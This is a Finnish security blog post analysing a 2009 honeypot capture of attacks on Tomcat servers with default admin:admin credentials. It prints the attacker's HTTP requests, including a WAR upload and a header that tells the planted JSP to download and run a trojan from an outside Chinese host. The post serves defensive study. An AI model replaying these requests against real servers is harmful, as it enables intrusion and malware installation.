Huomasimme hieman normaalista poikkeavia HTTP-skannauksia, joilla etsitään /manager/html -polkua. Otimme skannaukset tarkasteluun ja kuten useimmat huomaavat, on allaolevasta HTTP-pyynnöstä helppo päätellä mitä hyökkääjät etsivät:
Fri Mar 25 00:30:31 EET 2009 – /190.210.x.x:3625 -
GET /manager/html HTTP/1.1
Referer: http://x.x.x.x:8080/manager/html
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE 3.01)
Host: x.x.x.x:8080
Connection: Close
Cache-Control: no-cache
Authorization: Basic YWRtaW46YWRtaW4=
Hyökkääjät yrittävät etsiä Tomcat-sovelluspalvelinasennuksia, joiden ylläpitosovellus on käytössä siten, että ylläpitäjän käyttäjätunnus ja salasala on ‘admin’. Sen sijaan että olisimme pystyttäneet niin sanotun low interaction hunajapurkin päätimme asentaa oikean Tomcat-palvelimen koneelle joka on jatkuvan seurannan alla. Noin vuorokauden seurannan jälkeen näimme hyökkäävän koneen käyvän palvelimella:
190.26.x.x – admin [26/Mar/2009:21:32:13 -0000] “GET /manager/html HTTP/1.1″ 200 8714
190.26.x.x – admin [26/Mar/2009:21:32:13 -0000] “POST /manager/html/upload HTTP/1.0″ 200 8747
190.26.x.x – - [26/Mar/2009:21:32:15 -0000] “GET /killfexcepshell/index.jsp HTTP/1.1″ 404 763
190.26.x.x – admin [26/Mar/2009:21:32:38 -0000] “POST /manager/html/upload HTTP/1.0″ 200 9377
190.26.x.x – - [26/Mar/2009:21:32:43 -0000] “GET /killfexcepshell/index.jsp HTTP/1.1″ 200 48
Ylläolevasta lokista voidaan nähdä, että tunnistettuaan hyväksikäytettävän palvelimen hyökkääjä lataa sinne omaa koodiaan:
POST /manager/html/upload HTTP/1.0
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=—————————032509203251046
Content-Length: 2495
Host: x.x.x.x:8080
Accept: text/html, */*
Accept-Language: zh-cn
Referer: http://x.x.x.x:8080/manager/html
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Authorization: Basic YWRtaW46YWRtaW4=
—————————–032509203251046
Content-Disposition: form-data; name=”deployWar”; filename=”C:\WINDOWS\system32\mui\fexcep\killfexcepshell.war”
Content-Type: application/x-zip-compressed
Hyökkääjä latasi palvelimelle killfexcepshell.war-tiedoston. WAR-tiedostot (Web ARchive) ovat pakattuja tiedostoja joita Tomcat-palvelinsovellus käyttää uusien verkkosovellusten asentamiseen:

Kuten tarkkasilmäiset huomasivat, ylläoleva POST-pyyntö on todennäköisimmin tehty Windows-käyttöjärjestelmällä toimivasta palvelimesta. Huomasimme myös, että vaikka hyökkäävän koneen IP-osoite on Kolumbiassa niin itse pyynnön otsikkotiedoissa kieleksi ilmoitetaan ‘zh-cn’, joka viittaa Kiinaan. Tämä arvo on todennäköisesti haittaohjelman itsensä asettama. Toinen mielenkiintoinen huomio oli se, että hyökkäävä kone pyysi palvelimeltamme myös .gif -kuvatiedostoja joihin on linkitetty Tomcatin ylläpitosovelluksessa. Tämä viittaisi siihen että haittaohjelma käyttää skannaamiseen käyttäjältä piilotettua Internet Explorer-ikkunaa.
Onnistuneen asennuksen jälkeen palvelin sai vain yhden pyynnön hyökkäävältä koneelta: GET /killfexcepshell/index.jsp.
Tässä pyynnön tarkat tiedot:
GET /killfexcepshell/index.jsp HTTP/1.1
Referer: http://x.x.x.x:8080/killfexcepshell/index.jsp
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; IE 7)
Host: x.x.x.x:8080
Connection: Close
Cache-Control: no-cache
Cache-Vip-Url:http://www.<poistettu>.cn/tomcat.exe
Ja tämä on vastaus:
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=26482330DBFE986AC0705B4691E0C66D; Path=/killfexcepshell
Content-Type: text/html;charset=utf-8
Content-Length: 48
Date: Thu, 26 Mar 2009 01:32:43 GMT
Connection: closeFailure!Because Remote computer system is Linux!
Cache-Vip-URL? Tämä ei ainakaan ole mikään tunnettu HTTP-otsake. URL osoittaa kiinalaisella www-palvelimella olevaan tiedostoon. Tutkimme index.jsp:n toimintaa tarkemmin, ja tässä päätoiminnallisuus:
- sivu ylikirjoittaa tomcat-users.xml:ssä olevat käyttäjätunnus/salasanaparit alla olevalla tiedolla:
<?xml version=’1.0′ encoding=’utf-8′?>
<tomcat-users>
<role rolename=”tomcat”/>
<role rolename=”role1″ />
<role rolename=”manager”/>
<role rolename=”admin”/>
<user username=”admin” password=”<hidden>” roles=”admin,manager”/>
</tomcat-users>
Tällä muutoksella hyökkääjä toivoo estävänsä muita hyödyntämästä heikkoja salasanoja. Samalla kuitenkin palvelimen laillinen etäylläpito estyy kunnes tunnukset on palautettu.
- index.jsp lataa Cache-Vip-Url otsakkeen osoittamasta paikasta käynnistettävän binääritiedoston. Kuten huomaatte vastauksesta tämä toimii ainoastaan Windows-käyttöjärjestelmiin asennetuissa Tomcat-ohjelmistoissa. Hyökkääjä voi tosin halutessaan tulla myöhemmin uudestaan asentamaan jonkin muissa käyttöjärjestelmissä toimivan haittaohjelman.
Poistimme ylläolevasta tomcat-users.xml-tiedostosta sinne haittaohjelman asettaman salasanan. Vaikka hyökkääjillä on ollut tarkoitus luoda siihen satunnainen salasana niin haittaohjelmassa olevan ohjelmointivirheen takia asetettu salasana on kaikissa sama, emmekä halua aiheuttaa enempää riskejä jo saastuneille koneille.
Kiinalaisesta verkko-osoitteesta ladattu haittaohjelma on yleisesti tunnistettu PcClient-troijalaisen variantiksi joka ottaa yhteyttä vicp.net -domainin alla olevaan kiinassa sijaitsevaan alidomainiin TCP/126 porttiin. vicp.net on dynaamisia verkko-osoitteita tarjoava yritys.
Vaikka yleisimmin tiedotusvälineissä huomioidaan valtavirran ohjelmistojen hyväksikäyttöä on tämä hyvä esimerkki siitä, että haittaohjelmien levittäjät ja krakkerit pyrkivät käyttämään kaikkia mahdollisia hyökkäystapoja saavuttaakseen tavoitteensa. Tomcat-asennuksia skannataan vieläkin, vaikka Tomcat-ohjelmistossa ei ole enään moneen vuoteen ollut oletussalasanoja käytössä, vaan ylläpitosovellus on pitänyt kytkeä käsin käyttöön.
Pyrimme jatkamaan myös tulevaisuudessa erilaisten hyökkäysmekanismien esittelyjä. Jos lukijoilla on herännyt lisäkysymyksiä niin meille voi lähettää sähköpostia osoitteeseen info(a_t)fitsec.com, tai vaikkapa jättää tähän blogiviestiin kommentti.